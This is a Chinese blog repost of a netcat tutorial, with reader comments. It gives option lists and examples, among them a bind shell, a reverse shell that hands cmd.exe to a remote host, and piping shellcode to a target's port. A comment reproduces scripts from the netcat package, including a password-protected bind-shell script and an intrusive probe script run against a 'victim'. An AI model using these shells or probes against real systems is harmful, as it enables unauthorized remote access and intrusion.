正文

转贴 nc.exe的一些使用2007-02-26 11:25:00

【评论】 【打印】 【字体: 】 本文链接:http://blog.pfan.cn/sword2008/23475.html

分享到:

netcat被誉为网络安全界的‘瑞士军刀’,相信没有什么人不认识它吧......
    一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,
能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几
乎所有类型的网络连接,还有几个很有意思的内置功能(详情请看下面的使用方法)。



    在中国,它的WINDOWS版有两个版本,一个是原创者Chris Wysopal写的原版本,另一个是由‘红与黑’编译
后的新‘浓缩’版。‘浓缩’版的主程序只有10多KB(10多KB的NC是不能完成下面所说的第4、第5种使用方法,
有此功能的原版NC好象要60KB:P),虽然“体积”小,但很完成很多工作。
=====================================================================================================
软件介绍:



工具名:Netcat
作者:Hobbit && Chris Wysopal
网址:http://www.atstake.com/research/tools/network_utilities/
类别:开放源码
平台:Linux/BSD/Unix/Windows   
WINDOWS下版本号:[v1.10 NT]



=====================================================================================================
参数介绍:



'nc.exe -h'即可看到各参数的使用方法。
基本格式:nc [-options] hostname port[s] [ports] ...
          nc -l -p port [options] [hostname] [port]



-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时



端口的表示方法可写为M-N的范围格式。




=====================================================================================================
基本用法:



大概有以下几种用法:



1)连接到REMOTE主机,例子:
格式:nc -nvv 192.168.x.x 80
讲解:连到192.168.x.x的TCP80端口




2)监听LOCAL主机,例子:
格式:nc -l -p 80
讲解:监听本机的TCP80端口




3)扫描远程主机,例子:
格式:nc -nvv -w2 -z 192.168.x.x 80-445
讲解:扫描192.168.x.x的TCP80到TCP445的所有端口




4)REMOTE主机绑定SHELL,例子:
格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口




5)REMOTE主机绑定SHELL并反向连接,例子:
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口




以上为最基本的几种用法(其实NC的用法还有很多,
当配合管道命令“|”与重定向命令“<”、“>”等等命令功能更强大......)。



=====================================================================================================
高级用法:



6)作攻击程序用,例子:
格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt
讲解:连接到192.168.x.x的80端口,并在其管道中发送'c:\exploit.txt'的内容(两种格式确有相同的效果,
      真是有异曲同工之妙)



附:'c:\exploit.txt'为shellcode等




7)作蜜罐用[1],例子:
格式:nc -L -p 80
讲解:使用'-L'(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止




8)作蜜罐用[2],例子:
格式:nc -L -p 80 > c:\log.txt
讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到'c:\log.txt'中,如果把‘>’
      改为‘>>’即可以追加日志



附:'c:\log.txt'为日志等




9)作蜜罐用[3],例子:
格式1:nc -L -p 80 < c:\honeypot.txt
格式2:type.exe c:\honeypot.txt|nc -L -p 80
讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,并把'c:\honeypot.txt'的内容‘送’入其
      管道中



附:'c:\honeypot.txt'为欺骗数据等

  • 匿名 - [2005-4-24 13:04]

    58K的nc可以到我的群共享里面下,我的群是3420785
    还有杂志的光盘里面也有
  • 匿名 - [2005-4-24 13:33]

    顶,学习了
  • 匿名 - [2005-4-25 10:28]

    谢谢了,但是我找了阿,我是说58k的nc用不起是怎么回事啊,我发的第一个贴就是它的出错信息!,麻烦了哈,我这几天考试,有空我会联系你的,谢谢
  • 匿名 - [2005-4-25 11:04]

    nc使用技巧

    nc这个小玩意儿应该大家耳熟能详,也用了N年了吧……这里不多讲废话,结合一些script说说它的使用技巧。
    (文中所举的script都来自于nc110.tgz的文件包)

    一、基本使用

    Quack# nc -h
    [v1.10]
    想要连接到某处:   nc [-options] hostname port[s] [ports] ...
    绑定端口等待连接:     nc -l -p port [-options] [hostname] [port]
    参数:
            -e prog                 程序重定向,一旦连接,就执行 [危险!!]
            -g gateway              source-routing hop point[s], up to 8
            -G num                  source-routing pointer: 4, 8, 12, ...
            -h                      帮助信息
            -i secs                 延时的间隔
            -l                      监听模式,用于入站连接
            -n                      指定数字的IP地址,不能用hostname
            -o file                 记录16进制的传输
            -p port                 本地端口号
            -r                      任意指定本地及远程端口
            -s addr                 本地源地址
            -u                      UDP模式
            -v                      详细输出——用两个-v可得到更详细的内容
            -w secs                 timeout的时间
            -z                      将输入输出关掉——用于扫描时
          
    其中端口号可以指定一个或者用lo-hi式的指定范围。

    二、用于传输文件——ncp

    #! /bin/sh
    ## 类似于rcp,但是是用netcat在高端口做的
    ## 在接收文件的机器上做"ncp targetfile"
    ## 在发送文件的机器上做"ncp sourcefile receivinghost"
    ## 如果调用了 "nzp" ,会将传输文件压缩

    ## 这里定义你想使用的端口,可以自由选择
    MYPORT=23456

    ## 如果nc没有在系统路径中的话,要把下面一行注释去掉,加以修改
    # PATH=${HOME}:${PATH} ; export PATH

    ## 下面这几行检查参数输入情况
    test "$3" && echo "too many args" && exit 1
    test ! "$1" && echo "no args?" && exit 1
    me=`echo $0 | sed 's+.*/++'`
    test "$me" = "nzp" && echo '[compressed mode]'

    # if second arg, it's a host to send an [extant] file to.
    if test "$2" ; then
      test ! -f "$1" && echo "can't find $1" && exit 1
      if test "$me" = "nzp" ; then
        compress -c < "$1" | nc -v -w 2 $2 $MYPORT && exit 0
      else
        nc -v -w 2 $2 $MYPORT < "$1" && exit 0
      fi
      echo "transfer FAILED!"
      exit 1
    fi

    # 是否在接收文件机器当前目录有同名文件
    if test -f "$1" ; then
      echo -n "Overwrite $1? "
      read aa
      test ! "$aa" = "y" && echo "[punted!]" && exit 1
    fi
    # 30 seconds oughta be pleeeeenty of time, but change if you want.
    if test "$me" = "nzp" ; then
    # 注意这里nc的用法,结合了重定向符号和管道
      nc -v -w 30 -p $MYPORT -l < /dev/null | uncompress -c  > "$1" && exit 0
    else
      nc -v -w 30 -p $MYPORT -l < /dev/null > "$1" && exit 0
    fi
    echo "transfer FAILED!"
    # clean up, since even if the transfer failed, $1 is already trashed
    rm -f "$1"
    exit 1

    这样的话,我只要在A机器上先 QuackA# ncp ../abcd
    listening on [any] 23456 ...
    然后在另一台机器B上
    QuackB#ncp abcd 192.168.0.2
    quackb [192.168.0.1] 23456 (?)
    A机上出现
    open connect to [192.168.0.2] from quackb [192.168.0.1] 1027
    #
    查看一下,文件传输完毕。

    三、用于绑定端口——bsh

    首先要清楚,如果你编译netcat时仅用如make freebsd之类的命令来编译的话,这个工
    具是无法利用的——要define一个GAPING_SECURITY_HOLE它才会提供-e选项。

    #! /bin/sh
    ## 一个利用nc的绑定shell并且带有密码保护的脚本
    ## 带有一个参数,即端口号

    NC=nc

    case "$1" in
      ?* )
      LPN="$1"
      export LPN
      sleep 1
      #注意这里nc的用法,参数-l是lister,-e是执行重定向
      echo "-l -p $LPN -e $0" ; $NC -l -p $LPN -e $0 > /dev/null 2>&1 &
      echo "launched on port $LPN"
      exit 0
      ;;
    esac

    # here we play inetd
    echo "-l -p $LPN -e $0" ; $NC -l -p $LPN -e $0 > /dev/null 2>&1 &

    while read qq ; do
    case "$qq" in
    # 这里就是弱密码保护了,密码是quack
      quack )
      cd /
      exec csh -i
      ;;
    esac
    done

    要看看它是怎么使用的么?
    quack# ./bsh 6666  <-------输入,后面是程序输出
    -l -p 6666 -e ./bsh
    launched on port 6666
    quack#
    quack## nc localhost 6666  <----------输入
    -l -p 6666 -e ./bsh
    quack    <----------输入,密码验证
    Warning: imported path contains relative components
    Warning: no access to tty (Bad file descriptor).
    Thus no job control in this shell.
    Cracker#

    四、 用于端口扫描——probe

    在我们常见的一些端口扫描程序中,如Vetescan这类以shell script写成的话,很多都
    需要系统中装有netcat,原因何在呢?看看下面的script,你或许会明白一些。

    #! /bin/sh
    ## launch a whole buncha shit at yon victim in no particular order; capture
    ## stderr+stdout in one place.  Run as root for rservice and low -p to work.
    ## Fairly thorough example of using netcat to collect a lot of host info.
    ## Will set off every intrusion alarm in existence on a paranoid machine!

    # 该目录里有一些小工具
    DDIR=../data
    # 指定网关
    GATE=192.157.69.11

    # might conceivably wanna change this for different run styles
    UCMD='nc -v -w 8'

    test ! "$1" && echo Needs victim arg && exit 1

    echo '' | $UCMD -w 9 -r "$1" 13 79 6667 2>&1
    echo '0' | $UCMD "$1" 79 2>&1
    # if LSRR was passed thru, should get refusal here:
    # 要注意这里的用法,其实nc的这些参数掌握好可以做很多事情
    $UCMD -z -r -g $GATE "$1" 6473 2>&1
    $UCMD -r -z "$1" 6000 4000-4004 111 53 2105 137-140 1-20 540-550 95 87 2>&1
    # -s `hostname` may be wrong for some multihomed machines
    echo 'UDP echoecho!' | nc -u -p 7 -s `hostname` -w 3 "$1" 7 19 2>&1
    echo '113,10158' | $UCMD -p 10158 "$1" 113 2>&1
    rservice bin bin | $UCMD -p 1019 "$1" shell 2>&1
    echo QUIT | $UCMD -w 8 -r "$1" 25 158 159 119 110 109 1109 142-144 220 23 2>&1
    # newline after any telnet trash
    echo ''
    echo PASV | $UCMD -r "$1" 21 2>&1
    echo 'GET /' | $UCMD -w 10 "$1" 80 81 210 70 2>&1
    # sometimes contains useful directory info:
    # 知道robots.txt是什么文件么?;)
    echo 'GET /robots.txt' | $UCMD -w 10 "$1" 80 2>&1
    # now the big red lights go on
    # 利用小工具rservice来尝试,该工具可以在nc110.tgz的data目录里找到
    rservice bin bin 9600/9600 | $UCMD -p 1020 "$1" login 2>&1
    rservice root root | $UCMD -r "$1" exec 2>&1
    echo 'BEGIN big udp -- everything may look "open" if packet-filtered'
    data -g < ${DDIR}/nfs-0.d | $UCMD -i 1 -u "$1" 2049 | od -x 2>&1
    # no wait-time, uses RTT hack
    nc -v -z -u -r "$1" 111 66-70 88 53 87 161-164 121-123 213 49 2>&1
    nc -v -z -u -r "$1" 137-140 694-712 747-770 175-180 2103 510-530 2>&1
    echo 'END big udp'
    $UCMD -r -z "$1" 175-180 2000-2003 530-533 1524 1525 666 213 8000 6250 2>&1
    # Use our identd-sniffer!
    iscan "$1" 21 25 79 80 111 53 6667 6000 2049 119 2>&1
    # this gets pretty intrusive, but what the fuck.  Probe for portmap first
    if nc -w 5 -z -u "$1" 111 ; then
      showmount -e "$1" 2>&1   #象showmount和rpcinfo的使用,可能会被逮到;)
      rpcinfo -p "$1" 2>&1
    fi
    exit 0

    感觉也没什么好说的,脚本本身说明了一切。当然象上面的脚本只是示范性的例子,真正地使用时,
    这样扫描会留下大量的痕迹,系统管理员会额外小心;)

    多试试,多想想,可能你可以用它来做更多事情——你可以参见nc110.tgz里script目录下的那
    些脚本,从中获得一些思路。
  • 阅读(4657) | 评论(0)


    版权声明:编程爱好者网站为此博客服务提供商,如本文牵涉到版权问题,编程爱好者网站不承担相关责任,如有版权问题请直接与本文作者联系解决。谢谢!

    评论

    暂无评论
    您需要登录后才能评论,请 登录 或者 注册